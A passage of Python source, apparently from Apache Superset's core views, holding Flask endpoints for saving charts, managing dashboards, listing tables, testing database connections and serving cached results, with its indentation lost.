if action == "overwrite" and not slice_overwrite_perm:
return json_error_response(
_("You don't have the rights to ") + _("alter this ") + _("chart"),
status=400,
)
if action == "saveas" and not slice_add_perm:
return json_error_response(
_("You don't have the rights to ") + _("create a ") + _("chart"),
status=400,
)
if action in ("saveas", "overwrite"):
return self.save_or_overwrite_slice(
request.args,
slc,
slice_add_perm,
slice_overwrite_perm,
slice_download_perm,
datasource_id,
datasource_type,
datasource.name,
)
standalone = (
request.args.get(utils.ReservedUrlParameters.STANDALONE.value) == "true"
)
bootstrap_data = {
"can_add": slice_add_perm,
"can_download": slice_download_perm,
"can_overwrite": slice_overwrite_perm,
"datasource": datasource.data,
"form_data": form_data,
"datasource_id": datasource_id,
"datasource_type": datasource_type,
"slice": slc.data if slc else None,
"standalone": standalone,
"user_id": user_id,
"forced_height": request.args.get("height"),
"common": common_bootstrap_payload(),
}
table_name = (
datasource.table_name
if datasource_type == "table"
else datasource.datasource_name
)
if slc:
title = slc.slice_name
else:
title = _("Explore - %(table)s", table=table_name)
return self.render_template(
"superset/basic.html",
bootstrap_data=json.dumps(
bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser
),
entry="explore",
title=title,
standalone_mode=standalone,
)
@api
@handle_api_exception
@has_access_api
@expose("/filter/<datasource_type>/<datasource_id>/<column>/")
def filter(self, datasource_type, datasource_id, column):
"""
Endpoint to retrieve values for specified column.
:param datasource_type: Type of datasource e.g. table
:param datasource_id: Datasource id
:param column: Column name to retrieve values for
:return:
"""
# TODO: Cache endpoint by user, datasource and column
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
if not datasource:
return json_error_response(DATASOURCE_MISSING_ERR)
security_manager.assert_datasource_permission(datasource)
payload = json.dumps(
datasource.values_for_column(column, config["FILTER_SELECT_ROW_LIMIT"]),
default=utils.json_int_dttm_ser,
)
return json_success(payload)
def save_or_overwrite_slice(
self,
args,
slc,
slice_add_perm,
slice_overwrite_perm,
slice_download_perm,
datasource_id,
datasource_type,
datasource_name,
):
"""Save or overwrite a slice"""
slice_name = args.get("slice_name")
action = args.get("action")
form_data = get_form_data()[0]
if action in ("saveas"):
if "slice_id" in form_data:
form_data.pop("slice_id") # don't save old slice_id
slc = Slice(owners=[g.user] if g.user else [])
slc.params = json.dumps(form_data, indent=2, sort_keys=True)
slc.datasource_name = datasource_name
slc.viz_type = form_data["viz_type"]
slc.datasource_type = datasource_type
slc.datasource_id = datasource_id
slc.slice_name = slice_name
if action in ("saveas") and slice_add_perm:
self.save_slice(slc)
elif action == "overwrite" and slice_overwrite_perm:
self.overwrite_slice(slc)
# Adding slice to a dashboard if requested
dash = None
if request.args.get("add_to_dash") == "existing":
dash = (
db.session.query(Dashboard)
.filter_by(id=int(request.args.get("save_to_dashboard_id")))
.one()
)
# check edit dashboard permissions
dash_overwrite_perm = check_ownership(dash, raise_if_false=False)
if not dash_overwrite_perm:
return json_error_response(
_("You don't have the rights to ")
+ _("alter this ")
+ _("dashboard"),
status=400,
)
flash(
_("Chart [{}] was added to dashboard [{}]").format(
slc.slice_name, dash.dashboard_title
),
"info",
)
elif request.args.get("add_to_dash") == "new":
# check create dashboard permissions
dash_add_perm = security_manager.can_access("can_add", "DashboardModelView")
if not dash_add_perm:
return json_error_response(
_("You don't have the rights to ")
+ _("create a ")
+ _("dashboard"),
status=400,
)
dash = Dashboard(
dashboard_title=request.args.get("new_dashboard_name"),
owners=[g.user] if g.user else [],
)
flash(
_(
"Dashboard [{}] just got created and chart [{}] was added " "to it"
).format(dash.dashboard_title, slc.slice_name),
"info",
)
if dash and slc not in dash.slices:
dash.slices.append(slc)
db.session.commit()
response = {
"can_add": slice_add_perm,
"can_download": slice_download_perm,
"can_overwrite": is_owner(slc, g.user),
"form_data": slc.form_data,
"slice": slc.data,
"dashboard_id": dash.id if dash else None,
}
if request.args.get("goto_dash") == "true":
response.update({"dashboard": dash.url})
return json_success(json.dumps(response))
def save_slice(self, slc):
session = db.session()
msg = _("Chart [{}] has been saved").format(slc.slice_name)
session.add(slc)
session.commit()
flash(msg, "info")
def overwrite_slice(self, slc):
session = db.session()
session.merge(slc)
session.commit()
msg = _("Chart [{}] has been overwritten").format(slc.slice_name)
flash(msg, "info")
@api
@has_access_api
@expose("/checkbox/<model_view>/<id_>/<attr>/<value>", methods=["GET"])
def checkbox(self, model_view, id_, attr, value):
"""endpoint for checking/unchecking any boolean in a sqla model"""
modelview_to_model = {
"{}ColumnInlineView".format(name.capitalize()): source.column_class
for name, source in ConnectorRegistry.sources.items()
}
model = modelview_to_model[model_view]
col = db.session.query(model).get(id_)
checked = value == "true"
if col:
setattr(col, attr, checked)
if checked:
metrics = col.get_metrics().values()
col.datasource.add_missing_metrics(metrics)
db.session.commit()
return json_success('"OK"')
@api
@has_access_api
@expose("/schemas/<db_id>/")
@expose("/schemas/<db_id>/<force_refresh>/")
def schemas(self, db_id, force_refresh="false"):
db_id = int(db_id)
force_refresh = force_refresh.lower() == "true"
database = db.session.query(models.Database).get(db_id)
if database:
schemas = database.get_all_schema_names(
cache=database.schema_cache_enabled,
cache_timeout=database.schema_cache_timeout,
force=force_refresh,
)
schemas = security_manager.schemas_accessible_by_user(database, schemas)
else:
schemas = []
return Response(json.dumps({"schemas": schemas}), mimetype="application/json")
@api
@has_access_api
@expose("/tables/<db_id>/<schema>/<substr>/")
@expose("/tables/<db_id>/<schema>/<substr>/<force_refresh>/")
def tables(self, db_id, schema, substr, force_refresh="false"):
"""Endpoint to fetch the list of tables for given database"""
db_id = int(db_id)
force_refresh = force_refresh.lower() == "true"
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
substr = utils.parse_js_uri_path_item(substr, eval_undefined=True)
database = db.session.query(models.Database).filter_by(id=db_id).one()
if schema:
tables = (
database.get_all_table_names_in_schema(
schema=schema,
force=force_refresh,
cache=database.table_cache_enabled,
cache_timeout=database.table_cache_timeout,
)
or []
)
views = (
database.get_all_view_names_in_schema(
schema=schema,
force=force_refresh,
cache=database.table_cache_enabled,
cache_timeout=database.table_cache_timeout,
)
or []
)
else:
tables = database.get_all_table_names_in_database(
cache=True, force=False, cache_timeout=24 * 60 * 60
)
views = database.get_all_view_names_in_database(
cache=True, force=False, cache_timeout=24 * 60 * 60
)
tables = security_manager.get_datasources_accessible_by_user(
database, tables, schema
)
views = security_manager.get_datasources_accessible_by_user(
database, views, schema
)
def get_datasource_label(ds_name: utils.DatasourceName) -> str:
return ds_name.table if schema else f"{ds_name.schema}.{ds_name.table}"
if substr:
tables = [tn for tn in tables if substr in get_datasource_label(tn)]
views = [vn for vn in views if substr in get_datasource_label(vn)]
if not schema and database.default_schemas:
user_schema = g.user.email.split("@")[0]
valid_schemas = set(database.default_schemas + [user_schema])
tables = [tn for tn in tables if tn.schema in valid_schemas]
views = [vn for vn in views if vn.schema in valid_schemas]
max_items = config["MAX_TABLE_NAMES"] or len(tables)
total_items = len(tables) + len(views)
max_tables = len(tables)
max_views = len(views)
if total_items and substr:
max_tables = max_items * len(tables) // total_items
max_views = max_items * len(views) // total_items
table_options = [
{
"value": tn.table,
"schema": tn.schema,
"label": get_datasource_label(tn),
"title": get_datasource_label(tn),
"type": "table",
}
for tn in tables[:max_tables]
]
table_options.extend(
[
{
"value": vn.table,
"schema": vn.schema,
"label": get_datasource_label(vn),
"title": get_datasource_label(vn),
"type": "view",
}
for vn in views[:max_views]
]
)
table_options.sort(key=lambda value: value["label"])
payload = {"tableLength": len(tables) + len(views), "options": table_options}
return json_success(json.dumps(payload))
@api
@has_access_api
@expose("/copy_dash/<dashboard_id>/", methods=["GET", "POST"])
def copy_dash(self, dashboard_id):
"""Copy dashboard"""
session = db.session()
data = json.loads(request.form.get("data"))
dash = models.Dashboard()
original_dash = session.query(Dashboard).get(dashboard_id)
dash.owners = [g.user] if g.user else []
dash.dashboard_title = data["dashboard_title"]
if data["duplicate_slices"]:
# Duplicating slices as well, mapping old ids to new ones
old_to_new_sliceids = {}
for slc in original_dash.slices:
new_slice = slc.clone()
new_slice.owners = [g.user] if g.user else []
session.add(new_slice)
session.flush()
new_slice.dashboards.append(dash)
old_to_new_sliceids["{}".format(slc.id)] = "{}".format(new_slice.id)
# update chartId of layout entities
# in v2_dash positions json data, chartId should be integer,
# while in older version slice_id is string type
for value in data["positions"].values():
if (
isinstance(value, dict)
and value.get("meta")
and value.get("meta").get("chartId")
):
old_id = "{}".format(value.get("meta").get("chartId"))
new_id = int(old_to_new_sliceids[old_id])
value["meta"]["chartId"] = new_id
else:
dash.slices = original_dash.slices
dash.params = original_dash.params
self._set_dash_metadata(dash, data)
session.add(dash)
session.commit()
dash_json = json.dumps(dash.data)
session.close()
return json_success(dash_json)
@api
@has_access_api
@expose("/save_dash/<dashboard_id>/", methods=["GET", "POST"])
def save_dash(self, dashboard_id):
"""Save a dashboard's metadata"""
session = db.session()
dash = session.query(Dashboard).get(dashboard_id)
check_ownership(dash, raise_if_false=True)
data = json.loads(request.form.get("data"))
self._set_dash_metadata(dash, data)
session.merge(dash)
session.commit()
session.close()
return json_success(json.dumps({"status": "SUCCESS"}))
@staticmethod
def _set_dash_metadata(dashboard, data):
positions = data["positions"]
# find slices in the position data
slice_ids = []
slice_id_to_name = {}
for value in positions.values():
if isinstance(value, dict):
try:
slice_id = value["meta"]["chartId"]
slice_ids.append(slice_id)
slice_id_to_name[slice_id] = value["meta"]["sliceName"]
except KeyError:
pass
session = db.session()
current_slices = session.query(Slice).filter(Slice.id.in_(slice_ids)).all()
dashboard.slices = current_slices
# update slice names. this assumes user has permissions to update the slice
# we allow user set slice name be empty string
for slc in dashboard.slices:
try:
new_name = slice_id_to_name[slc.id]
if slc.slice_name != new_name:
slc.slice_name = new_name
session.merge(slc)
session.flush()
except KeyError:
pass
# remove leading and trailing white spaces in the dumped json
dashboard.position_json = json.dumps(
positions, indent=None, separators=(",", ":"), sort_keys=True
)
md = dashboard.params_dict
dashboard.css = data.get("css")
dashboard.dashboard_title = data["dashboard_title"]
if "timed_refresh_immune_slices" not in md:
md["timed_refresh_immune_slices"] = []
if "filter_scopes" in data:
md.pop("filter_immune_slices", None)
md.pop("filter_immune_slice_fields", None)
md["filter_scopes"] = json.loads(data.get("filter_scopes", "{}"))
else:
if "filter_immune_slices" not in md:
md["filter_immune_slices"] = []
if "filter_immune_slice_fields" not in md:
md["filter_immune_slice_fields"] = {}
md["expanded_slices"] = data["expanded_slices"]
md["refresh_frequency"] = data.get("refresh_frequency", 0)
default_filters_data = json.loads(data.get("default_filters", "{}"))
applicable_filters = {
key: v for key, v in default_filters_data.items() if int(key) in slice_ids
}
md["default_filters"] = json.dumps(applicable_filters)
if data.get("color_namespace"):
md["color_namespace"] = data.get("color_namespace")
if data.get("color_scheme"):
md["color_scheme"] = data.get("color_scheme")
if data.get("label_colors"):
md["label_colors"] = data.get("label_colors")
dashboard.json_metadata = json.dumps(md)
@api
@has_access_api
@expose("/add_slices/<dashboard_id>/", methods=["POST"])
def add_slices(self, dashboard_id):
"""Add and save slices to a dashboard"""
data = json.loads(request.form.get("data"))
session = db.session()
dash = session.query(Dashboard).get(dashboard_id)
check_ownership(dash, raise_if_false=True)
new_slices = session.query(Slice).filter(Slice.id.in_(data["slice_ids"]))
dash.slices += new_slices
session.merge(dash)
session.commit()
session.close()
return "SLICES ADDED"
@api
@has_access_api
@expose("/testconn", methods=["POST", "GET"])
def testconn(self):
"""Tests a sqla connection"""
try:
db_name = request.json.get("name")
uri = request.json.get("uri")
# if the database already exists in the database, only its safe (password-masked) URI
# would be shown in the UI and would be passed in the form data.
# so if the database already exists and the form was submitted with the safe URI,
# we assume we should retrieve the decrypted URI to test the connection.
if db_name:
existing_database = (
db.session.query(models.Database)
.filter_by(database_name=db_name)
.one_or_none()
)
if existing_database and uri == existing_database.safe_sqlalchemy_uri():
uri = existing_database.sqlalchemy_uri_decrypted
# this is the database instance that will be tested
database = models.Database(
# extras is sent as json, but required to be a string in the Database model
extra=json.dumps(request.json.get("extras", {})),
impersonate_user=request.json.get("impersonate_user"),
encrypted_extra=json.dumps(request.json.get("encrypted_extra", {})),
)
database.set_sqlalchemy_uri(uri)
username = g.user.username if g.user is not None else None
engine = database.get_sqla_engine(user_name=username)
with closing(engine.connect()) as conn:
conn.scalar(select([1]))
return json_success('"OK"')
except Exception as e:
logging.exception(e)
return json_error_response(
"Connection failed!\n\n" "The error message returned was:\n{}".format(e)
)
@api
@has_access_api
@expose("/recent_activity/<user_id>/", methods=["GET"])
def recent_activity(self, user_id):
"""Recent activity (actions) for a given user"""
M = models
if request.args.get("limit"):
limit = int(request.args.get("limit"))
else:
limit = 1000
qry = (
db.session.query(M.Log, M.Dashboard, Slice)
.outerjoin(M.Dashboard, M.Dashboard.id == M.Log.dashboard_id)
.outerjoin(Slice, Slice.id == M.Log.slice_id)
.filter(
and_(
~M.Log.action.in_(("queries", "shortner", "sql_json")),
M.Log.user_id == user_id,
)
)
.order_by(M.Log.dttm.desc())
.limit(limit)
)
payload = []
for log in qry.all():
item_url = None
item_title = None
if log.Dashboard:
item_url = log.Dashboard.url
item_title = log.Dashboard.dashboard_title
elif log.Slice:
item_url = log.Slice.slice_url
item_title = log.Slice.slice_name
payload.append(
{
"action": log.Log.action,
"item_url": item_url,
"item_title": item_title,
"time": log.Log.dttm,
}
)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/csrf_token/", methods=["GET"])
def csrf_token(self):
return Response(
self.render_template("superset/csrf_token.json"), mimetype="text/json"
)
@api
@has_access_api
@expose("/available_domains/", methods=["GET"])
def available_domains(self):
"""
Returns the list of available Superset Webserver domains (if any)
defined in config. This enables charts embedded in other apps to
leverage domain sharding if appropriately configured.
"""
return Response(
json.dumps(conf.get("SUPERSET_WEBSERVER_DOMAINS")), mimetype="text/json"
)
@api
@has_access_api
@expose("/fave_dashboards_by_username/<username>/", methods=["GET"])
def fave_dashboards_by_username(self, username):
"""This lets us use a user's username to pull favourite dashboards"""
user = security_manager.find_user(username=username)
return self.fave_dashboards(user.get_id())
@api
@has_access_api
@expose("/fave_dashboards/<user_id>/", methods=["GET"])
def fave_dashboards(self, user_id):
qry = (
db.session.query(Dashboard, models.FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "Dashboard",
Dashboard.id == models.FavStar.obj_id,
),
)
.order_by(models.FavStar.dttm.desc())
)
payload = []
for o in qry.all():
d = {
"id": o.Dashboard.id,
"dashboard": o.Dashboard.dashboard_link(),
"title": o.Dashboard.dashboard_title,
"url": o.Dashboard.url,
"dttm": o.dttm,
}
if o.Dashboard.created_by:
user = o.Dashboard.created_by
d["creator"] = str(user)
d["creator_url"] = "/superset/profile/{}/".format(user.username)
payload.append(d)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/created_dashboards/<user_id>/", methods=["GET"])
def created_dashboards(self, user_id):
Dash = Dashboard
qry = (
db.session.query(Dash)
.filter(or_(Dash.created_by_fk == user_id, Dash.changed_by_fk == user_id))
.order_by(Dash.changed_on.desc())
)
payload = [
{
"id": o.id,
"dashboard": o.dashboard_link(),
"title": o.dashboard_title,
"url": o.url,
"dttm": o.changed_on,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/user_slices", methods=["GET"])
@expose("/user_slices/<user_id>/", methods=["GET"])
def user_slices(self, user_id=None):
"""List of slices a user created, or faved"""
if not user_id:
user_id = g.user.id
FavStar = models.FavStar
qry = (
db.session.query(Slice, FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "slice",
Slice.id == models.FavStar.obj_id,
),
isouter=True,
)
.filter(
or_(
Slice.created_by_fk == user_id,
Slice.changed_by_fk == user_id,
FavStar.user_id == user_id,
)
)
.order_by(Slice.slice_name.asc())
)
payload = [
{
"id": o.Slice.id,
"title": o.Slice.slice_name,
"url": o.Slice.slice_url,
"data": o.Slice.form_data,
"dttm": o.dttm if o.dttm else o.Slice.changed_on,
"viz_type": o.Slice.viz_type,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/created_slices", methods=["GET"])
@expose("/created_slices/<user_id>/", methods=["GET"])
def created_slices(self, user_id=None):
"""List of slices created by this user"""
if not user_id:
user_id = g.user.id
qry = (
db.session.query(Slice)
.filter(or_(Slice.created_by_fk == user_id, Slice.changed_by_fk == user_id))
.order_by(Slice.changed_on.desc())
)
payload = [
{
"id": o.id,
"title": o.slice_name,
"url": o.slice_url,
"dttm": o.changed_on,
"viz_type": o.viz_type,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/fave_slices", methods=["GET"])
@expose("/fave_slices/<user_id>/", methods=["GET"])
def fave_slices(self, user_id=None):
"""Favorite slices for a user"""
if not user_id:
user_id = g.user.id
qry = (
db.session.query(Slice, models.FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "slice",
Slice.id == models.FavStar.obj_id,
),
)
.order_by(models.FavStar.dttm.desc())
)
payload = []
for o in qry.all():
d = {
"id": o.Slice.id,
"title": o.Slice.slice_name,
"url": o.Slice.slice_url,
"dttm": o.dttm,
"viz_type": o.Slice.viz_type,
}
if o.Slice.created_by:
user = o.Slice.created_by
d["creator"] = str(user)
d["creator_url"] = "/superset/profile/{}/".format(user.username)
payload.append(d)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/warm_up_cache/", methods=["GET"])
def warm_up_cache(self):
"""Warms up the cache for the slice or table.
Note for slices a force refresh occurs.
"""
slices = None
session = db.session()
slice_id = request.args.get("slice_id")
table_name = request.args.get("table_name")
db_name = request.args.get("db_name")
if not slice_id and not (table_name and db_name):
return json_error_response(
__(
"Malformed request. slice_id or table_name and db_name "
"arguments are expected"
),
status=400,
)
if slice_id:
slices = session.query(Slice).filter_by(id=slice_id).all()
if not slices:
return json_error_response(
__("Chart %(id)s not found", id=slice_id), status=404
)
elif table_name and db_name:
SqlaTable = ConnectorRegistry.sources["table"]
table = (
session.query(SqlaTable)
.join(models.Database)
.filter(
models.Database.database_name == db_name
or SqlaTable.table_name == table_name
)
).one_or_none()
if not table:
return json_error_response(
__(
"Table %(t)s wasn't found in the database %(d)s",
t=table_name,
s=db_name,
),
status=404,
)
slices = (
session.query(Slice)
.filter_by(datasource_id=table.id, datasource_type=table.type)
.all()
)
for slc in slices:
try:
form_data = get_form_data(slc.id, use_slice_data=True)[0]
obj = get_viz(
datasource_type=slc.datasource.type,
datasource_id=slc.datasource.id,
form_data=form_data,
force=True,
)
obj.get_json()
except Exception as e:
self.logger.exception("Failed to warm up cache")
return json_error_response(utils.error_msg_from_exception(e))
return json_success(
json.dumps(
[{"slice_id": slc.id, "slice_name": slc.slice_name} for slc in slices]
)
)
@has_access_api
@expose("/favstar/<class_name>/<obj_id>/<action>/")
def favstar(self, class_name, obj_id, action):
"""Toggle favorite stars on Slices and Dashboard"""
session = db.session()
FavStar = models.FavStar
count = 0
favs = (
session.query(FavStar)
.filter_by(class_name=class_name, obj_id=obj_id, user_id=g.user.get_id())
.all()
)
if action == "select":
if not favs:
session.add(
FavStar(
class_name=class_name,
obj_id=obj_id,
user_id=g.user.get_id(),
dttm=datetime.now(),
)
)
count = 1
elif action == "unselect":
for fav in favs:
session.delete(fav)
else:
count = len(favs)
session.commit()
return json_success(json.dumps({"count": count}))
@api
@has_access_api
@expose("/dashboard/<dashboard_id>/published/", methods=("GET", "POST"))
def publish(self, dashboard_id):
"""Gets and toggles published status on dashboards"""
logging.warning(
"This API endpoint is deprecated and will be removed in version 1.0.0"
)
session = db.session()
Role = ab_models.Role
dash = (
session.query(Dashboard).filter(Dashboard.id == dashboard_id).one_or_none()
)
admin_role = session.query(Role).filter(Role.name == "Admin").one_or_none()
if request.method == "GET":
if dash:
return json_success(json.dumps({"published": dash.published}))
else:
return json_error_response(
f"ERROR: cannot find dashboard {dashboard_id}", status=404
)
else:
edit_perm = is_owner(dash, g.user) or admin_role in get_user_roles()
if not edit_perm:
return json_error_response(
f'ERROR: "{g.user.username}" cannot alter dashboard "{dash.dashboard_title}"',
status=403,
)
dash.published = str(request.form["published"]).lower() == "true"
session.commit()
return json_success(json.dumps({"published": dash.published}))
@has_access
@expose("/dashboard/<dashboard_id>/")
def dashboard(self, dashboard_id):
"""Server side rendering for a dashboard"""
session = db.session()
qry = session.query(Dashboard)
if dashboard_id.isdigit():
qry = qry.filter_by(id=int(dashboard_id))
else:
qry = qry.filter_by(slug=dashboard_id)
dash = qry.one_or_none()
if not dash:
abort(404)
datasources = set()
for slc in dash.slices:
datasource = slc.datasource
if datasource:
datasources.add(datasource)
if config["ENABLE_ACCESS_REQUEST"]:
for datasource in datasources:
if datasource and not security_manager.datasource_access(datasource):
flash(
__(
security_manager.get_datasource_access_error_msg(datasource)
),
"danger",
)
return redirect(
"superset/request_access/?" f"dashboard_id={dash.id}&"
)
dash_edit_perm = check_ownership(
dash, raise_if_false=False
) and security_manager.can_access("can_save_dash", "Superset")
dash_save_perm = security_manager.can_access("can_save_dash", "Superset")
superset_can_explore = security_manager.can_access("can_explore", "Superset")
superset_can_csv = security_manager.can_access("can_csv", "Superset")
slice_can_edit = security_manager.can_access("can_edit", "SliceModelView")
standalone_mode = (
request.args.get(utils.ReservedUrlParameters.STANDALONE.value) == "true"
)
edit_mode = (
request.args.get(utils.ReservedUrlParameters.EDIT_MODE.value) == "true"
)
# Hack to log the dashboard_id properly, even when getting a slug
@event_logger.log_this
def dashboard(**kwargs):
pass
dashboard(
dashboard_id=dash.id,
dashboard_version="v2",
dash_edit_perm=dash_edit_perm,
edit_mode=edit_mode,
)
dashboard_data = dash.data
dashboard_data.update(
{
"standalone_mode": standalone_mode,
"dash_save_perm": dash_save_perm,
"dash_edit_perm": dash_edit_perm,
"superset_can_explore": superset_can_explore,
"superset_can_csv": superset_can_csv,
"slice_can_edit": slice_can_edit,
}
)
url_params = {
key: value
for key, value in request.args.items()
if key not in [param.value for param in utils.ReservedUrlParameters]
}
bootstrap_data = {
"user_id": g.user.get_id(),
"dashboard_data": dashboard_data,
"datasources": {ds.uid: ds.data for ds in datasources},
"common": common_bootstrap_payload(),
"editMode": edit_mode,
"urlParams": url_params,
}
if request.args.get("json") == "true":
return json_success(
json.dumps(bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser)
)
return self.render_template(
"superset/dashboard.html",
entry="dashboard",
standalone_mode=standalone_mode,
title=dash.dashboard_title,
bootstrap_data=json.dumps(
bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser
),
)
@api
@event_logger.log_this
@expose("/log/", methods=["POST"])
def log(self):
return Response(status=200)
@has_access
@expose("/sync_druid/", methods=["POST"])
@event_logger.log_this
def sync_druid_source(self):
"""Syncs the druid datasource in main db with the provided config.
The endpoint takes 3 arguments:
user - user name to perform the operation as
cluster - name of the druid cluster
config - configuration stored in json that contains:
name: druid datasource name
dimensions: list of the dimensions, they become druid columns
with the type STRING
metrics_spec: list of metrics (dictionary). Metric consists of
2 attributes: type and name. Type can be count,
etc. `count` type is stored internally as longSum
other fields will be ignored.
Example: {
'name': 'test_click',
'metrics_spec': [{'type': 'count', 'name': 'count'}],
'dimensions': ['affiliate_id', 'campaign', 'first_seen']
}
"""
payload = request.get_json(force=True)
druid_config = payload["config"]
user_name = payload["user"]
cluster_name = payload["cluster"]
user = security_manager.find_user(username=user_name)
DruidDatasource = ConnectorRegistry.sources["druid"]
DruidCluster = DruidDatasource.cluster_class
if not user:
err_msg = __(
"Can't find User '%(name)s', please ask your admin " "to create one.",
name=user_name,
)
logging.error(err_msg)
return json_error_response(err_msg)
cluster = (
db.session.query(DruidCluster)
.filter_by(cluster_name=cluster_name)
.one_or_none()
)
if not cluster:
err_msg = __(
"Can't find DruidCluster with cluster_name = " "'%(name)s'",
name=cluster_name,
)
logging.error(err_msg)
return json_error_response(err_msg)
try:
DruidDatasource.sync_to_db_from_config(druid_config, user, cluster)
except Exception as e:
logging.exception(utils.error_msg_from_exception(e))
return json_error_response(utils.error_msg_from_exception(e))
return Response(status=201)
@has_access
@expose("/sqllab_viz/", methods=["POST"])
@event_logger.log_this
def sqllab_viz(self):
SqlaTable = ConnectorRegistry.sources["table"]
data = json.loads(request.form.get("data"))
table_name = data.get("datasourceName")
database_id = data.get("dbId")
table = (
db.session.query(SqlaTable)
.filter_by(database_id=database_id, table_name=table_name)
.one_or_none()
)
if not table:
table = SqlaTable(table_name=table_name, owners=[g.user])
table.database_id = database_id
table.schema = data.get("schema")
table.template_params = data.get("templateParams")
table.is_sqllab_view = True
q = ParsedQuery(data.get("sql"))
table.sql = q.stripped()
db.session.add(table)
cols = []
for config in data.get("columns"):
column_name = config.get("name")
SqlaTable = ConnectorRegistry.sources["table"]
TableColumn = SqlaTable.column_class
SqlMetric = SqlaTable.metric_class
col = TableColumn(
column_name=column_name,
filterable=True,
groupby=True,
is_dttm=config.get("is_date", False),
type=config.get("type", False),
)
cols.append(col)
table.columns = cols
table.metrics = [SqlMetric(metric_name="count", expression="count(*)")]
db.session.commit()
return json_success(json.dumps({"table_id": table.id}))
@has_access
@expose("/table/<database_id>/<table_name>/<schema>/")
@event_logger.log_this
def table(self, database_id, table_name, schema):
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
mydb = db.session.query(models.Database).filter_by(id=database_id).one()
payload_columns = []
indexes = []
primary_key = []
foreign_keys = []
try:
columns = mydb.get_columns(table_name, schema)
indexes = mydb.get_indexes(table_name, schema)
primary_key = mydb.get_pk_constraint(table_name, schema)
foreign_keys = mydb.get_foreign_keys(table_name, schema)
except Exception as e:
return json_error_response(utils.error_msg_from_exception(e))
keys = []
if primary_key and primary_key.get("constrained_columns"):
primary_key["column_names"] = primary_key.pop("constrained_columns")
primary_key["type"] = "pk"
keys += [primary_key]
for fk in foreign_keys:
fk["column_names"] = fk.pop("constrained_columns")
fk["type"] = "fk"
keys += foreign_keys
for idx in indexes:
idx["type"] = "index"
keys += indexes
for col in columns:
dtype = ""
try:
dtype = "{}".format(col["type"])
except Exception:
# sqla.types.JSON __str__ has a bug, so using __class__.
dtype = col["type"].__class__.__name__
pass
payload_columns.append(
{
"name": col["name"],
"type": dtype.split("(")[0] if "(" in dtype else dtype,
"longType": dtype,
"keys": [k for k in keys if col["name"] in k.get("column_names")],
}
)
tbl = {
"name": table_name,
"columns": payload_columns,
"selectStar": mydb.select_star(
table_name,
schema=schema,
show_cols=True,
indent=True,
cols=columns,
latest_partition=True,
),
"primaryKey": primary_key,
"foreignKeys": foreign_keys,
"indexes": keys,
}
return json_success(json.dumps(tbl))
@has_access
@expose("/extra_table_metadata/<database_id>/<table_name>/<schema>/")
@event_logger.log_this
def extra_table_metadata(self, database_id, table_name, schema):
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
mydb = db.session.query(models.Database).filter_by(id=database_id).one()
payload = mydb.db_engine_spec.extra_table_metadata(mydb, table_name, schema)
return json_success(json.dumps(payload))
@has_access
@expose("/select_star/<database_id>/<table_name>")
@expose("/select_star/<database_id>/<table_name>/<schema>")
@event_logger.log_this
def select_star(self, database_id, table_name, schema=None):
mydb = db.session.query(models.Database).get(database_id)
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
table_name = utils.parse_js_uri_path_item(table_name)
return json_success(
mydb.select_star(table_name, schema, latest_partition=True, show_cols=True)
)
@has_access_api
@expose("/estimate_query_cost/<database_id>/", methods=["POST"])
@expose("/estimate_query_cost/<database_id>/<schema>/", methods=["POST"])
@event_logger.log_this
def estimate_query_cost(self, database_id: int, schema: str = None) -> Response:
mydb = db.session.query(models.Database).get(database_id)
sql = json.loads(request.form.get("sql", '""'))
template_params = json.loads(request.form.get("templateParams") or "{}")
if template_params:
template_processor = get_template_processor(mydb)
sql = template_processor.process_template(sql, **template_params)
timeout = SQLLAB_QUERY_COST_ESTIMATE_TIMEOUT
timeout_msg = f"The estimation exceeded the {timeout} seconds timeout."
try:
with utils.timeout(seconds=timeout, error_message=timeout_msg):
cost = mydb.db_engine_spec.estimate_query_cost(
mydb, schema, sql, utils.sources.get("sql_lab")
)
except SupersetTimeoutException as e:
logging.exception(e)
return json_error_response(timeout_msg)
except Exception as e:
return json_error_response(str(e))
spec = mydb.db_engine_spec
query_cost_formatters = get_feature_flags().get(
"QUERY_COST_FORMATTERS_BY_ENGINE", {}
)
query_cost_formatter = query_cost_formatters.get(
spec.engine, spec.query_cost_formatter
)
cost = query_cost_formatter(cost)
return json_success(json.dumps(cost))
@expose("/theme/")
def theme(self):
return self.render_template("superset/theme.html")
@has_access_api
@expose("/cached_key/<key>/")
@event_logger.log_this
def cached_key(self, key):
"""Returns a key from the cache"""
resp = cache.get(key)
if resp:
return resp
return "nope"
@has_access_api
@expose("/cache_key_exist/<key>/")
@event_logger.log_this
def cache_key_exist(self, key):
"""Returns if a key from cache exist"""
key_exist = True if cache.get(key) else False
status = 200 if key_exist else 404
return json_success(json.dumps({"key_exist": key_exist}), status=status)
@has_access_api
@expose("/results/<key>/")
@event_logger.log_this
def results(self, key):
return self.results_exec(key)
def results_exec(self, key: str):
"""Serves a key off of the results backend
It is possible to pass the `rows` query argument to limit the number
of rows returned.
"""
if not results_backend:
return json_error_response("Results backend isn't configured")
read_from_results_backend_start = now_as_float()
blob = results_backend.get(key)
stats_logger.timing(
"sqllab.query.results_backend_read",
now_as_float() - read_from_results_backend_start,
)
if not blob:
